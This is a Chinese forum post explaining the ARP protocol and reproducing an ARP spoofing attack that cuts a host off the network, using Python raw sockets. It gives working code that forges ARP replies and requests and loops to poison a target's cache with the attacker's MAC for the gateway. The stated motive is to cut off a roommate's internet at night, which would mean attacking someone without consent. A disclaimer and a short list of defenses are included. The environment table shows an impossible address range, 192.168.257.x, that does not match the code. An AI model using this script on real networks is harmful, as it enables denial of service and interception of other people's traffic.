ARP协议及raw socket复现ARP断网攻击

文章正文
发布时间:2025-08-15 19:47

事情的起因是,朋友抱怨室友半夜打游戏,敲键盘还说话,不胜烦燥,拜托我想个办法让他半夜玩不了游戏。思来想去,最好的办法就是ARP断网攻击了。

趁此机会,正好复习一下计算机网络的知识。

虽然例如kali有成熟的工具,python也有强大的scapy网络库,但本次实验主要从底层学习掌握ARP协议的相关知识,使用套接字自定义构造数据包。

注意事项:

ARP 欺骗和伪造网络流量可能违反法律和道德准则,仅在合法授权和合规测试的情况下才能使用。

一、ARP ARP是什么

ARP(Address Resolution Protocol),即地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

为什么要用ARP

在网络的数据链路层只能看见 MAC 帧,链路层以上的数据都被封装在 MAC 帧中,MAC 帧包含源 MAC 地址和目的MAC 地址,在实际局域网络中传送数据时,根据 MAC 地址寻找目的主机。已知一台主机的 IP 地址,要发送数据时需要找到对方的 MAC 地址,这时就需要用到 ARP。ARP 负责将网络层中的 IP 地址解析为链路层的 MAC 地址。

ARP工作流程

当一个设备想要与网络上的另一个设备通信时,它会首先检查自己的ARP缓存(ARP缓存是存储IP地址和对应MAC地址的本地缓存)是否已经有了所需设备的MAC地址。

如果ARP缓存中不存在对应的MAC地址,设备将发送一个ARP请求广播到网络上的所有设备,询问拥有特定IP地址的设备的MAC地址。

拥有特定IP地址的设备接收到ARP请求后,会通过ARP响应将自己的MAC地址发送回请求设备,而不相关的设备则会丢弃ARP请求。

请求设备接收到响应后,将会在ARP缓存中保存这个IP地址与MAC地址的映射关系,以便将来的通信使用。

ARP报文结构

ARP报文主要由以太网帧和ARP帧构成

以太网帧:

字段 长度(字节) 描述
目标MAC地址   6   目标设备的MAC地址  
源MAC地址   6   发送设备的MAC地址  
协议类型   2   ARP协议为0806  

ARP帧:

字段 长度(字节) 描述
硬件类型   2   指定网络接口的硬件类型,如以太网  
协议类型   2   指定上层协议类型,如IPv4  
硬件地址长度   1   指定硬件地址长度(以字节为单位),如MAC地址长度为6字节  
协议地址长度   1   指定协议地址长度(以字节为单位),如IPv4地址长度为4字节  
操作码   2   指定操作类型,如ARP请求或ARP响应(或RARP请求响应)  
发送方MAC地址   6   发送方的MAC地址  
发送方IP地址   4   发送方的IP地址  
目标MAC地址   6   目标设备的MAC地址(对于ARP请求,该字段为0)  
目标IP地址   4   目标设备的IP地址  
抓包验证

工具:Wireshark

目标:ARP协议

ARP请求:

p9fyOYQ.png

ARP响应:

p9fyXWj.png

二、ARP攻击 三种攻击手段

ARP断网攻击:污染靶机的ARP缓存表,使得靶机无法正确发送数据包

1.1 伪造ARP请求

1.2 伪造ARP响应

ARP中间人攻击:打开流量转发,使得靶机流量经过估计设备转发至网关,达到嗅探等攻击行为

(中间人攻击略微复杂,后续有时间再复现更新)

ARP防御

静态 ARP 表项:在网络设备上配置静态 ARP 表项,将 IP 地址与相应的 MAC 地址进行绑定。这样可以防止 ARP 欺骗攻击者伪造 ARP 响应包来欺骗网络设备。

ARP 监控和检测:实施 ARP 监控和检测机制,及时发现异常的 ARP 请求和响应,以便识别潜在的 ARP 攻击。可以使用网络入侵检测系统(IDS)或专用的 ARP 监测工具来进行实时监控。

交换机安全设置:在交换机上启用端口安全功能,限制每个端口所允许的 MAC 地址数量,防止攻击者通过伪造 MAC 地址来进行 ARP 攻击。

防火墙设置:在防火墙上设置适当的规则,限制对网络的未经授权的 ARP 请求和响应流量。只允许合法的主机进行 ARP 通信。

正常的ARP流程

p9f6o9J.png

ARP攻击时的流程

p9f65h4.png

构造攻击报文

ARP攻击下的以太网帧:

目标MAC地址: 靶机的MAC地址 源MAC地址: 攻击者设备的MAC地址 类型字段: 0806 (ARP)

ARP攻击下的ARP帧:

硬件类型: 以太网 (1) 协议类型: IPv4 (0800) 硬件地址长度: 6 协议地址长度: 4 操作码: 伪造的操作码,通常是请求(0001)(Request)或应答(0002)(Reply)中的一个 发送方MAC地址: 攻击者设备的MAC地址 发送方IP地址: 一般为网关IP 目标MAC地址: 靶机MAC地址 目标IP地址: 靶机IP地址

其中,攻击者设备IP,MAC地址和网关IP地址很容易就可以得到,需要获取的是靶机的IP和MAC地址,

目标设备IP就靠猜吧(x

用工具扫一下网段,挑选一个幸运儿当靶机

至于目标的MAC地址,可以选择发送一个正常的ARP报文来询问

总流程:

p9fcCjI.png

三、代码验证

语言:Python

第三方库:psutil

平台:靶机:Windows物理机 + 攻击者:Ubuntu18.04虚拟机

(Windows对原始套接字收发限制很大,很难完成整个攻击流程,因此在Linux上进行实验)

构造ARP-SOCKET

1、使用原始套接字(raw_socket)来自定义套接字:

import socket # 创建原始套接字 raw_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) # 绑定到指定的网络接口 raw_socket.bind(("eth0", 0)) # 自定义数据包 packet = b'' # 发送数据包 raw_socket.send(packet) # 接收数据包(可选) received_packet = raw_socket.recv(2048)

因为使用原始套接字是一种危险的,不受保护的行为,所以调用该代码需要管理员权限,否则可能报错:以一种访问权限不允许的方式访问套接字

2、构造ARP数据包:

# 构建自定义的数据包结构 class ARP:     def __init__(self, destination_mac: bytes, source_mac: bytes, opcode: bytes,                 sender_mac: bytes, sender_ip: bytes, target_mac: bytes, target_ip: bytes) -> None:         # 以太网帧         self.destination_mac = destination_mac  # 目标MAC地址         self.source_mac = source_mac  # 源MAC地址         self.proto_type_eth = b'\x08\x06'  # 上层协议类型,0806表示ARP协议         # ARP帧         self.hardware_type = b'\x00\x01'  # 网络设备的硬件类型,0001表示以太网         self.proto_type_arp = b'\x08\x00'  # 网络层协议类型,0800表示IPv4         self.hardware_size = b'\x06'  # 硬件地址长度         self.proto_size = b'\x04'  # 协议地址长度         self.opcode = opcode  # 操作码,0001为ARP请求,0002为ARP响应,0003为RARP         self.sender_mac = sender_mac  # 发送方的MAC地址         self.sender_ip = sender_ip  # 发送方的IP地址         self.target_mac = target_mac  # 目标的MAC地址         self.target_ip = target_ip  # 目标的IP地址         # 总数据包         self.packet = self.destination_mac + self.source_mac + self.proto_type_eth + \             self.hardware_type + self.proto_type_arp + self.hardware_size + \             self.proto_size + self.opcode + self.sender_mac + \             self.sender_ip + self.target_mac + self.target_ip

3、功能函数:

# 将IP和MAC转化为十六进制字节对象 def toHex(type: int, data: str) -> bytes:     hex_ = b''     if type == 0:  # ip         ip_int = int.from_bytes(socket.inet_aton(data), byteorder='big')         hex_str = hex(ip_int)[2:]         hex_str = hex_str.zfill(8)         hex_ = bytes.fromhex(hex_str)     elif type == 1:  # mac         mac_address = data.replace(':', '').replace('-', '')         # 将十六进制字符串转换为字节对象         hex_ = bytes.fromhex(mac_address)     return hex_ # 获取本机网络信息 def get_net_info():     dic = psutil.net_if_addrs()     ipv4 = ipv6 = mac = ""     for adapter in dic:         if "ens33" not in adapter:             continue         snicList = dic[adapter]         mac = '无 mac 地址'         ipv4 = '无 ipv4 地址'         ipv6 = '无 ipv6 地址'         for snic in snicList:             if snic.family.name in {'AF_LINK', 'AF_PACKET'}:                 mac = snic.address             elif snic.family.name == 'AF_INET':                 ipv4 = snic.address             elif snic.family.name == 'AF_INET6':                 ipv6 = snic.address         # print('%s, %s, %s, %s' % (adapter, mac, ipv4, ipv6))     return (ipv4, mac) 实验环境: 环境 物理机 虚拟机
IP   192.168.257.1   192.168.257.158  
MAC   00:50:56:c0:00:08   00:0c:29:ab:e7:82  
网关   192.168.257.2   192.168.257.2  
ARP请求测试 ip_target = "192.168.237.1" # 获取本机信息 ipv4, mac = get_net_info() print(f'本机IP: {ipv4}\n本机MAC: {mac}\n目标IP:{ip_target}') ipv4_self = toHex(0, ipv4) mac_self = toHex(1, mac) # arp请求 arp_request = ARP(b'\xff\xff\xff\xff\xff\xff',  # 广播                   mac_self,                   b'\x00\x01',  # 操作码:请求                   mac_self,                   ipv4_self,                   b'\x00\x00\x00\x00\x00\x00',  # 未知                   toHex(0, ip_target))  # 目标IP地址 # arp_request.packets() # 创建原始套接字 raw_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) # 绑定到指定的网络接口 raw_socket.bind(("ens33", 0)) raw_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) raw_socket.send(arp_request.packet)

wireshark抓包结果:

p9fyfWd.png

成功发送了ARP请求,并得到了响应

ARP攻击测试-伪造响应 ip_target = "192.168.237.1" mac_target = toHex(1, "00:50:56:c0:00:08") ip_gate = toHex(0, "192.168.237.2") # 获取本机信息 ipv4, mac = get_net_info() print(f'本机IP: {ipv4}\n本机MAC: {mac}\n目标IP:{ip_target}') ipv4_self = toHex(0, ipv4) mac_self = toHex(1, mac) # arp攻击 arp_attact = ARP(mac_target,                  mac_self,                  b'\x00\x02',  # 操作码:响应                  mac_self,  # 攻击者MAC地址                  ip_gate,  # 网关IP地址                  mac_target,                  toHex(0, ip_target)) # 创建原始套接字 raw_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) # 绑定到指定的网络接口 raw_socket.bind(("ens33", 0)) print(arp_attact.packet.hex()) while True:     print("attacking...")     raw_socket.send(arp_attact.packet)     time.sleep(3)

运行截图:

p9fy5QI.png

wireshark抓包结果:

p9fyIyt.png

不断向物理机灌输错误理念(

arp -a查看ARP缓存表:

p9fyWJH.png

网关和攻击者的MAC地址已经一样了,达到了攻击目的,此时物理机向网关发送的一切数据都会错误发送到攻击者设备上

一段时间后,MAC的重复缓存被发现:

p9fyoOP.png

网关的ARP记录被自动删除,达到修复的目的

p9fy7ef.png

ARP攻击测试-伪造请求

在ARP帧中的sender IP和sender MAC字段写入错误数据

由于此时网关ARP数据已经被缓存,使用伪造请求注入错误网关会导致缓存重复,会被自动删除,这里使用一个并没有被使用的IP:192.168.237.111

ip_target = "192.168.237.1" # 获取本机信息 ipv4, mac = get_net_info() print(f'本机IP: {ipv4}\n本机MAC: {mac}\n目标IP:{ip_target}') ipv4_self = toHex(0, "192.168.237.111") mac_self = toHex(1, mac) # arp请求 arp_request = ARP(b'\xff\xff\xff\xff\xff\xff',  # 广播                   mac_self,                   b'\x00\x01',  # 操作码:请求                   mac_self,  #错误的sender MAC,这里为攻击者的MAC地址                   ipv4_self,  # 错误的sender IP,这里为网关IP地址                   b'\x00\x00\x00\x00\x00\x00',  # 未知                   toHex(0, ip_target))  # 目标IP地址 # arp_request.packets() # 创建原始套接字 raw_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) # 绑定到指定的网络接口 raw_socket.bind(("ens33", 0)) raw_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) raw_socket.send(arp_request.packet)

攻击之前的ARP缓存表:

p9fybTS.png

发起攻击,wireshark结果:

p9fyHw8.png

ARP缓存表:

p9fyLFg.png

成功让靶机认为该IP存在

四、参考资料

 

免费评分 参与人数 22威望 +2 吾爱币 +124 热心值 +22 理由

RainH
    + 1   + 1   欢迎分析讨论交流,吾爱破解论坛有你更精彩!  

g1ave
    + 1   + 1   用心讨论,共获提升!  

fengbu401
      + 1   我很赞同!  

zhminxp
    + 1   + 1   热心回复!  

Chenda1
    + 1   + 1   我很赞同!  

fengbolee
    + 2   + 1   欢迎分析讨论交流,吾爱破解论坛有你更精彩!  

JiZhiLieShou
    + 1   + 1   我很赞同!  

sorryzzital
    + 1   + 1   谢谢@Thanks!  

captain123
    + 1   + 1   我很赞同!  

笙若
    + 1   + 1   谢谢@Thanks!  

Camus2021
    + 1   + 1   感谢发布原创作品,吾爱破解论坛因你更精彩!  

donalxm
    + 1   + 1   用心讨论,共获提升!  

lvzi1314
    + 1   + 1   原理懂了,socket不会。。。。  

wangguang
    + 2   + 1   感谢发布原创作品,吾爱破解论坛因你更精彩!  

gaosld
    + 1   + 1   热心回复!  

苏紫方璇
  + 2   + 100   + 1   感谢发布原创作品,吾爱破解论坛因你更精彩!  

junjia215
    + 1   + 1   用心讨论,共获提升!  

zuokanjiaobing
    + 1   + 1   我很赞同!  

山顶的一棵草
    + 3   + 1   我很赞同!  

csxy999
    + 1   + 1   用心讨论,共获提升!  

三滑稽甲苯
      + 1   用心讨论,共获提升!  

Mainos
    + 2   + 1   这都没人评分了?  

查看全部评分